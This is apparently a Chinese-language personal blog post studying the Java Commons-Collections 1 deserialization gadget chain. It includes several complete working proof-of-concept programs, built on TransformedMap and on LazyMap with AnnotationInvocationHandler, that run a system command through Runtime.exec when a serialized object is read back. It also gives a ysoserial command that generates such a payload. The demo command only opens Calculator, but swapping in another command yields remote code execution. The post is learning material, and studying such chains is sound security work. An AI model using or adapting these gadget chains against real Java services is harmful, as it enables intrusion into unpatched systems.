Java cc1

 
cc就是commons-collection(CC1只能在 jdk 8u71 之前的版本使用)
 
好好的学习一下吧
 
P神写的POC
 

package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Mikasa {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
        outerMap.put("test","xxxx");
    }
}

 

 
cc1有两种链,这里面一一分析一下
 

过程涉及的关键接口与类

 
ysoserial给的链

    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

 
下部分其实跟p神的poc是一样的,只是入口点不同
 

Transformer

 
Transformer 是一个接口,他只有一个待实现的方法
 

 
有一些类会实现这个接口,后面涉及一些敏感的类会用到
 

ConstantTransformer

 
ConstantTransformer 是实现了 Transformer 接口的一个类,他的过程就是在构造函数的时候传入一个对象,并在 transform 方法将这个对象在返回
 

 
后面我们会用到它作为调用链的开端
 

InvokerTransformer

 
InvokerTransformer 也是实现了 Transformer 接口的一个类,这个类可以用来执行任意方法,这也是反序列化能还行任意代码的关键
 
在实例化这个 InvokerTransformer 的时候 , 需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数就是传给这个函数的函数列表
 

 

 
后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法
 
写个Demo试试
 

package Study;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo1 {
    public static void main(String[] args) {
        InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"});
        Object cmd = java.lang.Runtime.getRuntime();
        test.transform(cmd);
    }
}

 

 
为什么呢,我们手动调试一下,首先是 InvokerTransformer 的初始化
 

 
之后通过 java.lang.Runtime.getRuntime() 获得 Runtime 实例,为什么这样获取,其实是因为Runtime的构造方法是私有的,我们可以通过 getRuntime 方法获取,或者反射获取
 

 
之后传入 InvokerTransformer.transform 中,我们跟进去看看
 

 
那么就直接执行我们的命令,当然这只能算是个小的Demo,毕竟还要经过反序列化(Runtime不可以被序列化,需要反射调用),还有就是反序列化的入口也没有点出,我们这只能算是木马,非远程RCE
 

ChainedTransformer

 
ChainedTransformer 也是实现了 transformer 接口的一个类,他的作用是将内部的

多个 Transformer 串在一起(就是前一个回调返回的结果,作为后一个回调的参数传入)
 

 

 
向我们刚才说的,我们不可以直接通过 java.lang.Runtime 获取到 Runtime 实例,那么我们可以利用 ChainedTransformer 来达到我们的目的
 
Demo2
 

package Study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer23 = new ChainedTransformer(transformers);
        transformer23.transform(new Object());
    }
}

 

 
调用链为 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
 
流程有点复杂,我也有一点问题不太懂,这里面就简单说一下我的了解吧
 ;
首先是 ConstantTransformer 的初始化
 

 
然后 InvokerTransformer 的循环链
 

 
然后就是用 ChainedTransformer 将他们串联起来
 

 
其实就是 cc1 链的下半部分
 

 
其他的就是只有前半部分的不同
 

TransformedMap

 
TransformedMap 用于对Java标准数据接口Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调,我们通过下面这段代码对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map
 

Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,transformer,valueTransformer);

 

 
初始化 keyTransformer 以及 valueTransformer
 

 
然后调用 TransformedMap.put
 

 
其中 key 以及 value都可以调用到 transformValue
 
其中, keyTransformer 是处理新元素的Key的回调, valueTransformer 是处理新元素的 value的回调。我们这里所说的 "回调",并不是传统意义上的一个回调函数,而是一个实现了 Transformer 接口的类
 
 

sun.reflect.annotation.AnnotationInvocationHandler

 
当然,我们前面都是自己本地测试的,没有什么实际意义,因为我们需要经过反序列化才能实现RCE,而我们前面需要的是 put 操作才可以调用到 transform ,那有没有一个类在反序列化 readObject 的时候可以跳转到 transform 呢,这里面师傅们找到了 AnnotationInvocationHandler
 
这个类在 readObject 的时候有类似于写入的操作,因此我们可以用它够着POC链子
 

 
memberValues 就是我们序列化后的Map,也是经过了 TransformedMap 修饰的对象,在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。
 
Runtime 一样的是,他也需要反射去调用,因为他的构造方法是私有的
 

 
写个POC
 

package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Cc1Poc {
    public static void main(String[] args) throws  Exception{
      Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj =constructor.newInstance(Retention.class,outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

 

 
流程有点复杂,讲不好,先放这边
 
 

理解demo

 
跟着调试了一遍,然后发现0.0,调用链真的长,吐了
 

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
Transformer transformer = new ChainedTransformer(transformers);

 
这两个是设置调用链的
 
先是 ConstantTransformer 返回 Runtime 对象

后来是 InvokerTransformer 先获取调用的方法,参数,在利用反射调用函数
 

 
最后是怎么触发回调呢
 

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
outerMap.put("test","xxxx");

 
最后的 put 方法可以调用回调
 

 
因为我们 keyTransformer 传的是null,因此我们跟进 transformValue
 

 
而这个 valueTransformer 一个 Transformer 的值

 
我们最开始使用 TransformedMap.decorate 的时候已经被初始化了
 

 
跟进 TransformedMap
 

 
在回头看看我们传的参数
 

 
因此会造成回调
 

 
valueTransformerChainedTransformer 类型的,看一下他的 transform 方法
 

 
跟前面又联系了起来
 
其实理解了前面的工作原理,这个Demo就很好理解了
 

测试一下

 
P神也说了,真正的demo离POC也很远的
 
上面我们分析到,要想触发这个反序列化的话需要执行 outerMap.put("xx","xxx"); 来触发漏洞,但是在实际反序列化时,我们需要找一个类,它在反序列化的 readObject 逻辑里有类似的写入操作(这里面大佬们找到了 AnnotationInvocationHandler,当然这种方法在 8u71 以前还是可以使用的,但是现在就不行了,官方那边做了修改)
 
给出P神的例子
 

package Study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.InvocationHandler;

public class Cc1Poc {
    public static void main(String[] args) throws  Exception{
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object obj =constructor.newInstance(Retention.class,outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
        //outerMap.put("test","xxxx");
    }
}

 
我们测试一下
 

 

分析一下yso里面cc1的利用

 
我们先测试一下 yso 里面的调用
 

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections1  "/Applications/Calculator.app/Contents/MacOS/Calculator" > test.txt

 
然后写一个加载Demo
 
public class test {
public static void main(String[] args) throws Exception{
ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object obj = test.readObject();
}
}
 

 

 
 

首先进入 lazyMap 类看看,因为这个类是起点
 

 
查看其 get 方法,发先调用了 transform 方法(当中不到key值的时候),因此需要找到一个 readObject 能跳转到这个地方的类
 
cc1中同样使用的是 AnnotationInvocationHandler
 

 
发现其实现了 InvocationHandler, Serializable 说明是个动态类,并且可以被序列化,并且在其 invoke 方法中调用了 get 方法
 
查看 invoke 方法
 

 
确实调用了 get 方法,因此只要将此类用来代理 LazyMap 的话(实现了InvocationHandler,因此就可以作为代理类),那么无论调用什么方法都可以调用到 get
 
而在 readObject 里面确实也调用了这个
 
因为 AnnotationInvocationHandler 的构造方法是私有的,因此我们也要使用反射调用它(又要套娃)
 

 
POC
 

package Study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Demo4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
            new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
            Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
            construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
            Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                handler);
        handler = (InvocationHandler)
            construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
            ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

 

 
过程有点复杂,这里不分析了(其实是不会)
 

参考

 
p神文章

https://www.smi1e.top/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%ad%a6%e4%b9%a0%e4%b9%8bapache-commons-collections/

posted @ 2020-10-26 23:08  Zahad003  阅读(805)  评论(0编辑  收藏  举报